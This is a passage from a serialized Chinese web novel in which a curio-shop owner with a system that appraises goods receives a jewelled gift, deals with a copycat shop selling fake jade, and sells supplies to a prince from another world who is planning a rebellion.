父母不在身边，爷爷奶奶也丢下我们离开，小墨为了吸引他们注意，刚开始做了很多‘努力’。” 黎行聿在努力两字上加重音调。 “比如，把家里的金子做出奥特曼形状？”萧妧妧忍俊不禁地猜测。 黎行聿嗯了一声。 萧妧妧重新看一排排的奥特曼，又觉得黎行墨也挺值得同情的。 “你的同情给错了人，我才是这个家里最可怜的人。”黎行聿叹气，语气幽幽，神情颇有几分可怜相。 萧妧妧一想好像还真是，但赞同他的说法又不太合适，听起来在谴责他们的父母。 萧妧妧避免评判他和他的家人，微微笑，带过话题。 “你家的藏品足以办一个展览了。” 从数量来说，这些收藏只是其中一部分，大多留在京城，可见总量不会少。 从质量来说，无论书画、瓷器、翡翠还是钻石宝石，都有不少顶尖级别的精品。 单从她随机挑选过的几款估价来看，远超出孟有树私人展出的任何一件藏品，完全撑得起一场私人收藏精品展。 看完黎家收藏的翡翠珠宝，萧妧妧琢磨着，哪天在自己家里也打造这样的展示柜。 柜子里最好摆一堆丑娃娃，她要给丑娃娃们穿翡翠戴钻石。 回去的时候依然暴雨如注，工作日，又是晚上九、十点，路上看不见一个人影。 黎行聿要回月牙巷过夜，正好顺路开车载她回去，萧妧妧自然是求之不得。 车子一直驶进巷子，小心翼翼绕过障碍停在两家附近的狭窄车位上。 萧妧妧朝他挥挥手，推开车门要下车，黎行聿忽然拉住她。 就在萧妧妧不明所以的时候，黎行聿从后面拎出个不大不小的手提袋递过来。 “给你的礼物。” 萧妧妧傻愣愣接过，然后才去看他。 “还有啊？小黑不算礼物吗？”她揪起包上的黑色丑娃娃甩了甩。 黎行聿笑着看她：“就当是谢谢你设计的袖扣，我很喜欢。” 他身体前倾，一只手臂压在方向盘上与她说话，一只手勾起手提袋朝她送来。 萧妧妧先是*看到了搭在方向盘边沿的修长手指，而后注意到真丝衬衫微微下滑的袖口，原本的纽扣位置多出一颗翠色狗头。 他没戴领带，自然不会用领带夹，于是视线挪到眼前，萧妧妧又看到提着手提袋的那只手上，有着同样的翠色狗头。 她怎么早没发现呢，镶金翡翠袖扣和黑色真丝衬衫竟然搭配得这么和谐。 才收到礼物就戴上了，看起来确实很喜欢。 萧妧妧不以为意，飞快说了一声谢谢，接下手提袋，撑起伞回家。 进门第一件事就是踢掉害她颜面扫地的洞洞鞋，天知道在静悄悄的房间里，时不时传来的“嘎吱嘎吱”声有多刺耳。 不过黎行聿好像习惯了的样子，一句话没说。 放下东西，萧妧妧赶紧去洗漱，洗头洗澡卸妆，折腾得她发誓再也不要化全套妆出门了。 吹头发的时候，她不经意瞥到桌上的手提袋，忽然产生了好奇。 她一边吹着头发，一边伸手扒拉手提袋，从里面拿出巴掌大的方形盒子。 看起来像首饰，份量不轻。 萧妧妧更好奇了，一只手操作，费了点力气打开它。 “嘶——” 冷不丁看到一只璀璨夺目的“电动车”，萧妧妧一不小心走神，热气灼痛头皮才反应过来。 她丢开吹风机，揉了揉后脑勺，灼痛缓解，顾不上湿漉漉的头发，捧起那只看不出明显品牌logo的订制款摆件。 萧妧妧发誓，虽然找不到品牌信息，但它绝对不便宜。 系统估价一扫，果不其然，2300万，吓得萧妧妧手抖了两下。 至于她为什么能确定是定制款，就要说一说它的外形了。 手心里的小玩意分明是她的史努比电动车缩小版，总长度和她巴掌差不多，后面的车牌用极小的碎钻拼出数字，恰好和她的车牌数字相符合。 “电动车”镶满紫色钻石，符合史努比镭射紫的用色，踏板及其他用到黑色的部分，采用黑欧泊，坐垫的白色则选择了无色钻石。 如果说以上都是巧合，那么车灯部分做为摆件的主石，所采用的彩宝绝对“巧”不了一点。 车前的灯是黄钻，目测约20克拉的艳彩黄，车后的两盏红灯用红宝石镶嵌。 无论黄钻还是红宝石，其形状都不属于彩宝里的常见造型，只能是不退不换的设计定制。 哦，车把手上挂了一个“头盔”，紫色碎钻镶嵌出轮廓，无色碎钻勾勒出狗耳形状。 萧妧妧不得不承认，这小玩意完全踩在她的奇葩审美上。 欣赏赞叹之后，萧妧妧发愁地望着彩宝“电动车”，眉头紧蹙。 切工、净度，加上设计的时间，变成眼前的成品，少说需要半年。 考虑到黎行聿有得是钱，加钱可以缩短工期，时间可以减减，可再怎么减，一个月总归是有的。 换句话说，黎行聿在一个月前、或者说至少一个月前，他就定好了这份礼物。 这…… 一个从未设想过的念头倏地钻入脑海，萧妧妧吞了吞口水，目光飘忽不定。 他是不是喜欢我啊？ 【作者有话说】 赶上了，但有点匆忙，先发后改[比心] 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“小张”,灌溉营养液 +1 192 第192章 ◎Bestfriend◎ 这一念头来得猝不及防,萧妧妧心口重重一跳。 排除玄妙的直觉，倒推回忆理性分析，萧妧妧又觉得自己大约在自作多情。 不说面对面的聊天，网上聊得也大多是正经事,一点暧.昧的撩.拨、试探都没有过。 如果一定要给出定义,萧妧妧更偏向于自己找到了聊得来的朋友、老师、贵人。 她掂了掂沉甸甸的钻石电动车,眼神渐渐坚定。 或许,就是正常回礼？ 毕竟她送出去的袖扣也不便宜。 再说，比起戒指项链自带暧.昧暗示的礼物,电动车摆件稍显幽默。 萧妧妧挠挠头，怀疑自己脑子抽筋,否则怎么会因此联想到“黎行聿喜欢她”这一点。 她拍拍胸口，松了一口气,还好还好，是她想多了。 直觉这玩意,不一定准。 比起发展出亲密关系,萧妧妧显然更希望和黎行聿保持稳定的友谊。 他太难得了。 一个正常的、不会让她生出被冒犯感觉的男性,打着灯笼都找不到。 萧妧妧年纪小的时候,在交友方面并无明显的性别偏向,聊得来就是朋友，志同道合那就是好朋友。 随着年纪渐长，认识的人越来越多，萧妧妧渐渐发现,大多数男性其实并不符合她的择友要求。 好一点的可以聊十句，差一点的一两句,不管十句还是一两句,最后她会认识到,都一样。 从精神、思维、认知，再到三观，差距大到像两个物种在对话。 除非双方永远处在“吃了吗”“天气真好”这一表面阶段的沟通。 但凡话题深入，必定聊崩，甚至不欢而散。 而在交情好到可以沟通大事小情之前，如轻浮态度、贬低言语、不适宜的玩笑……等等在异性身上常见的毛病，足以让萧妧妧选择拒绝深交。 萧妧妧一度以为自己不适合和异性朋友相处，后来她才敢相信一件事——这个社会本就没有多少正常的异性。 或许有很多吧，反正她遇到的不是。 黎行聿无疑属于她认为的那种少见的正常人。 和她见过的男同学、男同事们很不一样，正常得像个异类。 虽然他长得帅，谈恋爱不吃亏，但萧妧妧想和他当朋友，长久的好朋友，而不是只有七年保质期的情侣，闹得一地鸡毛，最后老死不相往来。 长得帅的太多了，想谈恋爱随便找一个干净的就好，找不到她还可以用钱砸，总有人会屈服于金钱的魅力。 三观契合、思想正常，并且愿意包容的好朋友可不一样，有钱也砸不来。 朋友如手足，对象如过时旧衣服，旧衣服可要可不要，换季还需要整理淘换，自然是当手足更稳定了。 吓死了，差点少了一只手。 萧妧妧捧起钻石电动车拍了张照片，给她的手足发过去- 谢谢，我超喜欢你的礼物。我宣布，黎行聿先生将是我最好的朋友！ 骗他的，萧妧妧最好的朋友不止他一个，但不妨碍说点好听话哄他。 消息发送成功，萧妧妧丢开手机，继续吹头发。 … 刚从浴室出来，瞥到桌上手机屏幕亮起，黎行聿快步走过去。 划开屏幕，目光顿在“最好的朋友”几个字上，他弯了弯唇。 先当一段时间的好朋友也不错。 他敲敲打打出一行字，删掉，重新措辞，又删掉，好一会后发送出去- 所以，现在可以把“VVIP黎行墨他哥（喜欢瓷器和青白玉的大黎先生）”改成新备注了吗？ 消息发过去，对面久久没有回音，连输入中的提示都没出现。 黎行聿心不在焉加班，回完一封邮件瞄一眼旁边的手机。 回到第三封邮件的时候，他暂停手上工作，戳进月亮号刷新页面。 没能看到小红点，黎行聿失落垂下眼帘，打开提示音后将手机放回一旁。 十封邮件批复完，手机依然没有动静，黎行聿带着手机回到卧室。 深夜十二点，黎行聿准备睡下的时候，叮咚一声传来。 他迅速揭了眼罩，戳开弹送的消息提示框。 黎行墨：哥，我女朋友下下周过生日，明天开始我就不去佳博了，我要专心准备礼物[龇牙] 黎行聿闭了闭眼，深呼吸，放下手机，拉下眼罩，睡觉。 …… 萧妧妧第二天起了个大早，一蹦一跳往小卖部去。 到店以后忙着做营业准备，十点左右才有空歇一会刷刷手机。 未读新消息几十条，有亲戚打听店铺生意的，有老同学超市营业群发优惠消息的，更多的是老客户询问上新时间。 哦，还有一条黎行聿的回复。 萧妧妧昨晚看他“输入”半天，等不及先去睡了，一觉到天亮，差点忘记回消息。 一一回复完客户咨询，最后点开他的头像，萧妧妧读完那条留言，脸颊唰一下红了起来。 幸好没用不礼貌的词。 带着一丝丝微妙的心虚感，萧妧妧连忙修改备注，截图发送，等待黎行聿批改。 “叮咚”一声提示音突兀响起，打破会议室内冷凝窒息的气氛。 低垂着脑袋的男男女女下意识抬头，循声往长条会议桌的另一端投去隐晦视线。 刘秘书和两个助理神情如常，只有主座上蹙着眉头的黎总稍显急切地抓起手机。 大约是看到了好消息，他眉目舒展，神情愉悦。 大家彼此对视一眼，稍稍松了一口气。 黎行聿放大图片，先是在“BF黎行聿”几个字上投以最多关注，随即目光落在害得他产生无限遐想的“BF”上，心口怦怦跳。 视线下移，截图上的分组信息闯入眼帘，“Bestfriend”击碎了他的遐想，心跳趋于平缓。 而当他看到此分组里还躺着几个顶着猫猫狗狗头像，并同样拥有BF开头的奇葩备注名，黎行聿神色越发安详。 五个“Bestfriend”，只有他一个性别为男，怎么不算一种胜利呢。 这时，又传来一声“叮咚”，萧妧妧发来第二条消息- 请修改我的备注为“AAA未来知名收藏家萧老板”，谢谢[猫猫探头] 黎行聿发出短促的轻笑，截图聊天页面发送过去。 “继续吧，下一个。” 他放下手机，重新开始会议，又恢复成严肃正经的神情。 小卖部里，躺椅上的萧妧妧一头雾水地盯着屏幕，神情有一点迷惑。 “MAMAA”？ “妈”？ 好怪，应该不会是这个意思吧…… 萧妧妧挠挠头，没有多想，切回社媒APP接着回复网友。 昨晚有关头冠的两条宣传图文发出去后，后台多出来上百条私信。 除了私信需要回应，还有评论区需要回一下，顺带删掉前来打广告拉客户的同行。 萧妧妧用店铺账号回复，孟甜甜则用小号充当客服，帮忙解答网友疑惑。 “看起来多了不少潜在客户呢，我已经回答了几十个询问店铺地址的。”孟甜甜抱着手机，头也不抬的说。 萧妧妧喜滋滋点头：“看出来了，私信有好多人问古董价格呢。” 萧妧妧平均4、5天上号一次，忙的时候间隔更久，也就导致私信越积越多，每次上号除了发布新内容，剩下大半时间全用在回复网友咨询上。 孟甜甜一连回复了七八条评论，秀气眉毛忽然皱起。 “妧妧，你看上周发的视频，有好多人找错地方，去了其他家店铺。” 萧妧妧不以为意，“那不是很正常。” 孟甜甜直接把屏幕塞到萧妧妧眼前，“不正常，你自己看吧。” 萧妧妧迟疑着去看她的手机屏幕。 “快离开南市才听说不破斋的翡翠，临时去了一趟月牙巷，嘿嘿，买到啦。 给姐妹们参考一下，8000块的冰飘绿。” “8000？不破斋没有这个价位的翡翠吧，我当时带了十万过去，屁都没买到。” “我刚想问8000块怎么买到的，看完图片，你真不是被骗了？这明明就是非洲翠，不是一种东西。” “什么非洲翠，没听过，反正不破斋买的[抠鼻]” “姐妹，这就是非洲翠，你发视频买翡翠的那天，不破斋的翡翠卖断货了，只卖彩宝。” “不知道啊，我看上面写的不破斋，里面翡翠成堆成堆的，有不少人在挑呢[图片]。” “虽然不破斋确实有很多翡翠，但人家放在展示柜里，不可能放在筐子里啊，而且不破斋的翡翠最便宜的一款少说几十万，展示的精品都是千万级别的……” “你们别吓我啊，我真的在不破斋买的。” “卧槽，真的假的？我也买了个5000块的翡翠，也和图片一样用筐子装着的。” “我们去的不破斋好像是同一个，我们去了盗版店？” 萧妧妧看到这里，跟着皱起眉头：“有人打着不破斋名义卖假货？” 话说完，萧妧妧迟钝想起一件事，周逸提过，月牙巷还有一家“不石皮斋”。 萧妧妧一时间不能确定，顾客找错店铺买到非洲翠这事，到底和不石皮斋有没有关系。 “我当时看店里好多人就拍了照，我去的这家是真是假啊？[图片]” “我去的是真的，老板和视频里的一样，当时买翡翠的时候排了好久队，你可以看我发的视频，图片放这了，你们自己确认吧。[图片]” “完了，我对比过，上面两个不破斋不是同一个。” “笑死，那个是不石皮斋，石和皮两个字挨得很近，和破字不一样的。” “啊？” “不石皮斋？” “这是诈骗吗？我还在南市，报警有用吗？” “服了，不破斋视频都挂出来店铺环境了，你们怎么找到的盗版？ 那个盗版装修明显是奶茶店改的，翡翠摆放得也不对。” “晕死，我才发现是石皮，不是破。 当时老板还说关注不破斋账号的粉丝可以打八折，我乐呵呵的给他认证过，八折拿下来的手镯。原来我是小丑啊。” 萧妧妧不停下划评论区，总算又翻出几条类似的评论。 点开图片放大，看清招牌上缩小的“石皮”两个字，眉头拧得更紧了。 孟甜甜总结：“这分明是打着不破斋旗号的招摇撞骗。” 【作者有话说】 其实……是打算临近结尾的时候再安排男女主在一起的[捂脸偷看] 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“小张”,灌溉营养液 +5 193 第193章 ◎如果我要起事，有几成胜算？◎ 是不是招摇撞骗,萧妧妧不好说，可以肯定的是，不石皮斋居心不良。 鉴于评论区许多网友留言差点误入不石皮斋，萧妧妧想做点什么,既维护不破斋的名声,也避免顾客被骗。 考虑片刻,萧妧妧提着相机扛着三脚架出门。 先来到月牙巷西南门的入口,拍摄一段“导航”，指引顾客如何顺利找到真正的不破斋。 她一边走一边拍摄,进了院子着重展示古董铺内部陈设，以及院门和招牌。 除此之外,萧妧妧会在每一条视频下发布评论置顶，详细介绍店铺地址并附上照片。 至于其他的,萧妧妧暂时想不到更好办法。 而那个不石皮斋，她得找个机会去会会。 萧妧妧私聊了留评论的网友,打听不石皮斋的位置,可惜网友们大多是外地游客,分不清月牙巷大小街巷,纯属瞎转悠,事后回想早记不清在哪。 萧妧妧多问了几个网友，大家说法不一，综合所有信息判断后，发现并没有明显特征可以找到那家不石皮斋。 土著萧妧妧啧啧出声,藏得挺深啊，于是转头寻求老土著张芸萧大明帮忙。 萧大明一听有人抢生意,还敢耍手段,气得骂骂咧咧,拍胸脯包揽任务。 萧妧妧暂且将这事放下，回复完消息剪辑视频，文案里稍稍提及有店铺冒名卖翡翠的事，希望大家警醒些。 忙忙碌碌到中午，午饭过后，萧妧妧准备睡午觉的时候，刘秘书找了过来。 冷不丁看到他，萧妧妧茫然片刻才想起黎行聿确实提前知会过。 “好久不见啊，刘秘书，”萧妧妧一看到他就知道要花钱了，拉开门迎他进院，“这次也辛苦你们了。” 刘秘书笑得客气又礼貌，寒暄几句后开门见山，拉开公文包掏出协议。 前后两次投资本质不同，也就没搞什么冠冕堂皇的仪式，萧妧妧接过文件，甚至有点不真实感。 签完名字就要花出去3000万，轻飘飘的，钱没了。 萧妧妧安排系统扫描过协议，确认无风险后，留下一串龙飞凤舞的字体。 她代表古董铺投资潮玩品牌，做主的人只有她一个，无需繁琐流程，萧妧妧前脚签字，后脚直接打去款项，比约定的期限提前了一个月。 刘秘书离开的时候，萧妧妧照例包了三份大红包，喜得刘秘书笑出一口白牙。 孟甜甜等院门合上，出声催促：“赶紧过来睡会，晚一点爱丽丝要来学种菜。” 萧妧妧回到廊下，电风扇调到最大档，一屁股陷进躺椅里再不想起来。 孟甜甜这时翻身侧过来，神秘兮兮地问：“昨晚上约会顺利吗？” 萧妧妧顿了顿，联想到昨晚睡前自己的无厘头猜测，语气稍显别扭，大声强调：“这不是约会，只是去他家看看收藏。” “要不是我们零元购了一批珠宝，我发誓，我会被他家的珠宝迷得走不动道。” 为了证明自己所言非虚，萧妧妧点开相册请她验证。 孟甜甜瞄了一眼，火彩璀璨，数量繁多，但她不感兴趣。 她盯着萧妧妧瞅了半天，试图看出点什么，萧妧妧绷紧脸，尽量表现得若无其事。 “……你说不是就不是吧。” 孟甜甜看一眼她泛起薄红的耳朵，似笑非笑收回目光，仰头躺回去，戴上眼罩。 萧妧妧一扭头，哼哼两声，“那我自己看。” 清理相册，刷搞笑视频，玩到眼皮子耷拉掀不起来时，萧妧妧恋恋不舍地放下手机，闭眼小憩。 凉风悠悠，蝉鸣阵阵，街巷行人的说话声隐约传来，仿佛催眠神曲。 漫长的夏日午后倏忽间过去，傍晚时分，两人先后醒来。 萧妧妧一睁开眼睛，朦朦胧胧中便看到爱丽丝乖巧坐在石凳上，翻着植物百科全书。 孟甜甜伸了个懒腰，晃晃悠悠爬起，洗完脸清醒过来后，抱着水果零食和可乐来到桌边，配合视频教爱丽丝学习种菜，顺便自己也跟着学。 萧妧妧发了一会呆，回神的时候，视频里在教如何种青菜。 她忽然想起孟甜甜的老巢加固成功，最近在琢磨大棚养殖。 萧妧妧不急着起身，懒洋洋躺回去，抱起手机采购。 “给你们买一样的种子好不好？正好实验一下，看看哪边长得快，肥料要不要？买哪种比较好？” 爱丽丝眨着绿眼睛急切举手：“我想要胡萝卜，青菜也可以。” 孟甜甜就没有爱丽丝那么小心翼翼，大手一挥，道：“没想好种哪种，都来点吧。” 她比了个OK手势，一件一件加进购物车，统一下单。 采购蔬菜种子结束，萧妧妧慢悠悠进店，慢悠悠打扫卫生。 有客户约在7点以后来看货，足够她慢悠悠地收拾一番。 这次看的不是翡翠珠宝，而是高古金器，不比翡翠便宜。 “妧妧，吃饭啦。” 萧妧妧几乎是刚放下鸡毛掸子，孟甜甜的呼声从小卖部传来。 为了避开客户看货时间，免得忙到没时间吃饭这事再次发生，她们将晚饭时间提前。 也幸好提前了，三人吃完没多久，院门咚咚咚响。 萧妧妧擦了擦手，跑去招待客户，孟甜甜则带着爱丽丝收拾残局。 天色黑透的时候，两人总算掌握了基础知识，正在规划种植方案，希望它们交替成熟，以后的每一天都有新鲜蔬菜可以食用，萧妧妧红光满面的进来了。 “……支付宝到账230万元。” “……支付宝到账322万元。” 孟甜甜张了张唇，想问她生意还顺利吗，接连听到提示音，选择闭嘴。 听出来了，也看出来了，挺顺利的。 “最近生意不好，能赚这么多我很满足啦。”萧妧妧摇头晃脑。 孟甜甜抽了抽嘴角，无话可说。 一天进账几百万都算生意不好……真是不让人活了。 萧妧妧叹气：“没办法，大家对古董的兴趣没有翡翠玉石高，连彩宝都卖不过翡翠。但我总不能每天放一批货出去吧？不说我货源跟不跟得上，同行就能恨死我，整个翡翠行情也会受到冲击，得不偿失啊。” 她连续两次上新，卖出去的翡翠数量不足库存的十分之一，一下子全放出去，势必拉低翡翠价格。 萧妧妧只能压在手里缓一缓，一个月上新一两次，每次不超过100件。 彩宝虽然卖的也不错，但大家显然更相信知名品牌，哪怕她提供了鉴定证书，买的人依旧会生出疑虑，不如买翡翠爽快。 “对不起，没办法共情你们有钱人。”末世前做为一名纯血社畜的孟甜甜拒绝听她卖惨。 萧妧妧偏要她听，巴巴地凑到她耳边念叨：“我想好了，古董不好卖，翡翠不能放肆卖，我就去拿包包和珠宝变现，变好多好多现。” 孟甜甜捂着耳朵躲开：“你又不缺钱，怎么这么着急啊。” “不缺是不缺，但能多赚一点总归是好的。”萧妧妧掰手指头算给她看：“我想买的东西可太多了，古董瓷器、书画、油画。 哦，我还想买城堡，我听黎行聿说，国外有拍卖行做房产拍卖，那种特别有味道的古堡，价格不算贵，我就想买一个。 而且还有三个国外的大行至今没发图录，谁知道会不会有什么好东西，我总要多做点准备。” 虽然萧妧妧想要的东西不算多，但架不住它们贵啊，一个千万上亿，看起来还行，三四个、五六个加起来开销可不小。 孟甜甜想起她看中的几件瓷器，确实不便宜。 “那……祝你好运？” 萧妧妧收下祝福，打算再选几款包包送去二手奢侈品商店。 “欢迎光临~” 时间还早，远不到睡觉的时候，三人在小卖部为种菜大业做准备工作，看店神器突兀响起。 爱丽丝一惊，差点洒了手里的营养土，孟甜甜一抖，多捏了半块椰砖。 萧妧妧想到什么，惊喜转身看向结界。 “萧老板，我这次来有一要紧事。” 萧妧妧听到熟悉又有点陌生的声音，惊喜神情瞬间消失。 她以为是苏娇娇呢，按理说娇娇姐这两天也该到海城了。 萧妧妧准备等苏娇娇去玩古玩行后再动身去其他城市看预展，是以格外期待苏娇娇的到来。 “是你啊，最近很忙吗？”她随口问道。 多扫一眼来人，胡子拉碴，一身甲胄看起来比初次见面时的形象壮实许多，身上的贵气减少，杀伐之气越发浓厚，比上次浓多了。 龙傲天许久没来，可见这段日子有多忙。 龙傲天苦笑点头，瞥一眼桌边的两人，见到他进来毫无惊异之色，多半也是小卖部的客人。 见她们穿着打扮和萧老板差不多奇异，应当不是和他来自同一个世界，遂放下心来。 “忙，太忙了。我和小林将军一有空闲便琢磨那几本兵书，如今差不多吃透，我想再买几本。除了看兵书，我们还要和各位将领商量攻城一事，好不容易收回沦陷的城池，后续官员任命、安抚民众、筹集粮草，以及城墙修固，没有一件不需要费心。” 龙傲天手里没有多少人可用，身边护卫都不得已派出去当成两个人使唤。 忙归忙，好在有小卖部当靠山，物资管够。 萧妧妧按照约定，每隔一段时间送粮草、草药去老地方，他定期派人运回便好。 萧妧妧摆摆手，不以为然，反正她是要赚钱的，交易而已。 “这回还买粮食？玻纤箭我前段时间送得多，应该够用一阵子吧？” 龙傲天摇摇头：“粮食已足够，我命人去周边城镇调配，可保百姓们平安度过这个冬季。其实是另一件事。” 说到另一件事，龙傲天面色微沉，眉宇间涌动着浓郁的郁气以及……野心？恨意？ 萧妧妧仔细观察一会，吓一跳。 “萧老板，你可否告诉我，如果我要起事，有几成胜算？” 【作者有话说】 补昨天的更新，今晚应该还会有一章 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“小张”,灌溉营养液 +5 感谢读者“momo”,灌溉营养液 +1 194 第194章 ◎赊账有风险◎ 话音落下时,不止萧妧妧，孟甜甜跟着瞪大眼睛看过去。 “你说的起事，是我知道的那个意思吗？”萧妧妧迟疑确认。 龙傲天深呼吸，撩了甲胄来到桌边坐下,不甚讲究地倒来一杯养生茶。 萧妧妧看得惊奇不已,简直和他刚开始的挑剔样子判若两人,比起上一次出现,更加不拘小节。 “你没听错，我说的是造反。”他坦荡的承认。 孟甜甜放下椰砖,假装搅拌营养土，实则竖起耳朵。 爱丽丝听不懂他们说什么,闷着脑袋计算比例。 萧妧妧神情踌躇，炮灰男配擅自改剧情,她上哪知道会不会有胜算啊。 “这件事……”萧妧妧措辞片刻，老实交待：“说实话,我不知道。” 龙傲天闻言眉头紧蹙,唇角绷直,似乎陷入焦躁状态。 萧妧妧好奇打听：“能说说你为什么想造反吗？” 龙傲天发出讥讽的哼笑,一杯茶饮尽,缓缓开口：“我若不造反，只怕不能活着回京了。” 为反攻回去夺下失去的城池，龙傲天连发四封密信，总算得到调兵的允许。 他手下将士八万人,外祖家又是满门武将，曾掌握边陲数十万大军,两方联合,老皇帝怎能稳坐皇位。 是以,他获得调兵权的同时，舅舅被安上莫须有罪名撸去职位，闲赋在家。 这件事如果说是巧合，那遣来的将领背后各为其主，总之不和他一派，多少可以看出老皇帝对他多有提防。 至于其他动作，他都懒得说。 龙傲天不由想笑，竟然提防他到这般地步。 从前在朝中人人对他恭敬有加，几个庶出兄弟对他更是俯首帖耳，龙傲天从没觉得哪里有问题，现在回头看，未必不是捧杀他。 萧妧妧耸了耸肩，“我帮不了你，如果你说买物资，我可以想办法，买兵书，我也可以给你。” 龙傲天叹气：“我明白了，即便没有胜算，我也要试试。” 输了，回去落不到好，父皇说不定趁机发难。 赢了，父皇只会更忌惮，后面不知道出什么招，但总归不会让他太得意。 这一路上吃的暗亏，龙傲天多半只能自己咽了。 龙傲天左思右想，既然让他提前发现了七弟的野心以及父皇的偏心，何不趁着手里有兵，打他们一个措手不及。 萧妧妧干巴巴地安慰他：“其实，胜算挺大的，你有金矿，手里握着那么多底牌，又不愁粮食……” 顿了顿，她问：“你有人用吗？” 萧妧妧问得含糊，龙傲天明白了她的意思，点点头：“小林将军以及手下家将立誓跟随于我，林将军那里……我们打算再试探试探。外祖的故交、老部下我已排入去联系，问题不大。” 只要他展示出自己的底牌，给出足够的好处，不愁没有拥护者。 “当然，再次之前，先把外敌收拾一遍，免得他们坏我好事。”龙傲天握紧拳头。 造反不容易，要谋一个好时机，恰好边疆正值寒冬，到处冰天雪地，不适合作战，龙傲天有理由拖延，趁机联合支持者。 萧妧妧听到这里，擦了擦手，拿出手机：“说吧，要买些什么，我提前给你准备。” 龙傲天：“兵刃。” 萧妧妧：“……” 龙傲天读懂了她的沉默，改口：“……那还是草药吧。” 她哦了一声，等于这批物资还是老样子，玻纤箭、纱布绷带、止血药、草药、粮食、饲料等等。 “对了，我这里有布料，夏布冬布都有，来点？” 萧妧妧想起自己订的仿古布数量不少，仅靠申明月消耗速度太慢，1000万熟练度猴年马月能集齐。 龙傲天很有兴趣的样子：“布料？什么样的？” 萧妧妧转身去货架抱来几匹麻布、罗布、纱缎等。 “这几匹是样品，你需要的话，幅宽和长度可以调整，上面的花纹也可以选择。冬布还在生产，我这里有样布册子，你先看看吧。” 龙傲天眼睛都快不够用了，一会摸摸布匹，感受上面的纹路，一会又去翻看样布。 “好厚实的布料。”他赞叹道。 萧妧妧拿出的布料结实又柔软，冬布有较好的保暖作用，龙傲天从未在百姓身上见过这种料子。 这段时日，龙傲天频繁接触将士、百姓，早不是“何不食肉糜”的太子殿下，对于普通百姓的种种不易更为了解。 一看到成堆的布料，龙傲天瞬间涌出许多想法。 萧妧妧见怪不怪，卖力推销：“你要造反，就不能只想着用武力，还得考虑一下民心。 我这里生产布料的技术先进，一天抵得上匠人一年的产量，价格就不跟你多要了，你那里买一匹布的钱，搁我这里卖你十匹。 你尽管下单，回头全给你送去，到时候挨家挨户分布料粮食，老百姓不被你拿捏的死死的？” 龙傲天挑眉，好奢侈的笼络人心的手段。 “谁能让他们吃饱穿暖，他们就跟谁走，边疆几座城池是你带兵抢回来，百姓本就对你有期待，这时候加把劲，以后谁不说你好？这几座城就成了你牢固的大后方。” 萧妧妧信口开河，努力忽悠。 龙傲天轻笑：“萧老板所言甚是有理，如此，我便多买些布匹。 只是眼下处处需要用钱，我手头不宽裕，先欠着，回头连那两箱翡翠一并给你。” 为免打草惊蛇，龙傲天只派人守住金矿，等到时机到来一并拿下。他家底虽丰厚，却大多留在京城，手里并没有多少拿得出手的宝贝。 尤其他打算起兵造反，后续花费甚巨，光是军饷就够他头疼许久。 种种情况堆在一起，龙傲天现在可以说穷得叮当响。 这批布料出现的及时，刚好拿去抵饷银，再有充足粮食，接下来的几场仗可以打得非常富裕。 萧妧妧盘算一会，争辩道：“可不止两箱呢。” 还有龙傲天自己承诺要给她的首饰，买布匹粮食的款项，少说四箱。 龙傲天愣了愣，郑重其事说：“等我打回京城，别说四箱，*十箱也给你抬来。” 萧妧妧一般是不吃大饼的，但龙傲天的饼有七八成靠谱，于是欣然记下。 “别耍赖啊，我记账了，十箱。” 孟甜甜趁机插话：“我作证，十箱。” 爱丽丝懵懵抬头，不知道自己该不该说什么，想了想，慢吞吞道：“我听到了十箱。” 龙傲天这时才用正眼打量她们两人，看起来不像顾客，倒像是萧老板的人，他微笑着颔首打招呼。 “麻布、绸布、绫罗、缎子，每种各3000匹，冬布若是足够，每种4000匹，回头我安排账房算清楚，一并加进账单里。” 萧妧妧头也不抬，在册子上记下他的需求。 龙傲天一直观察她的表情，听到如此多数量的布匹，萧老板眼睛没眨一下，心口顿时鼓噪得厉害。 萧老板没骗他，她手里果然有不少好东西。 萧妧妧对照布料厂前面几次的送货频率，估算一下，道：“行，十天左右，最多十五天，肯定能送来，还是老地方？” 龙傲天咋舌，一共7000匹布料，十天就够了？ 萧妧妧对上他质疑的目光，点点头：“你前面有其他客户也订了布料，等别人的做完了才轮得到你。” 龙傲天双眼圆睁，精光绽放。 他来回踱步，想了许多事情，停下步子的时候，整个人充满了胸有成竹的沉稳气质。 龙傲天嘴角噙笑，朗声道：“既然欠了十箱珠宝翡翠，想必萧老板不介意再赊我一笔账了，我想买兵书。” 三本兵书勾来一个小林将军，再来三本五本，大林将军想必不在话下。 萧妧妧一想也是，索性把店铺里剩下的存货全部搬来。 “总共就这么多，你慢慢挑。” 龙傲天目光顿住，神色忽然古怪起来。 他拿起一本《孙子兵法》翻了翻，幽怨目光挪到萧妧妧身上。 萧妧妧打了个激灵，刚想问他这种眼神什么意思，陡然想起自己为了推销说过许多“绝版”“限量”“卖完不加单”的胡话。 再看桌面，光是孙子兵法的原文及译文，一共打印出来十几本。 萧妧妧摸了摸鼻尖，稍显心虚。 “看在你是老顾客的份上，再多送你一本孙子兵法吧，这一本抄下来费不少笔墨吧？” 萧妧妧假装没看见他的谴责控诉目光，岔开话题。 龙傲天顺手收走手里的书，抱拳：“多谢萧老板慷慨。” 上回买了三本，这回他一口气买走八本，其中两本重复购买的书，萧妧妧便没多收他钱。 龙傲天闻言又一次抱拳作揖，谢过萧妧妧后，带着兵书离开。 人影消失在结界，萧妧妧唏嘘不已。 “他以前人如其名，可傲了，看人说话都仰着头，每次来我店里总要带一件琉璃回去。”她摇摇头，啧啧出声：“被他老爸和弟弟毒打一顿后，人都快碎了，现在更好，还打算起兵造反。” 孟甜甜吃了一口瓜，恍然说：“想起来了，是不是你之前提过的龙傲天？” 萧妧妧点头。 孟甜甜继续忙活手里的事情，有一搭没一搭的闲聊：“你支持他造反啊？万一输了，你那十箱、哦，现在是十六箱宝贝，可就全没了。” 萧妧妧没说自己知道剧情的事，只道：“我要是不卖他东西，指不定现在就没了，我那三万两黄金彻底没戏。” 萧妧妧叹气，摇头，老气横秋的嘀咕：“赊账有风险啊。” 孟甜甜安慰她：“做生意的哪个没赊过账，你已经帮了那么多，他肯定能赢。” 萧妧妧深表赞同，都有金手指了，输了不合理。 扯了半天闲话，萧妧妧戴上手套继续捏椰砖。 机械的动作做久了，萧妧妧不禁走神，盯着结界瞎琢磨。 系统升级两天了，客户列表扩充到十二人，怎么第六个客人迟迟没出现呢。 【作者有话说】 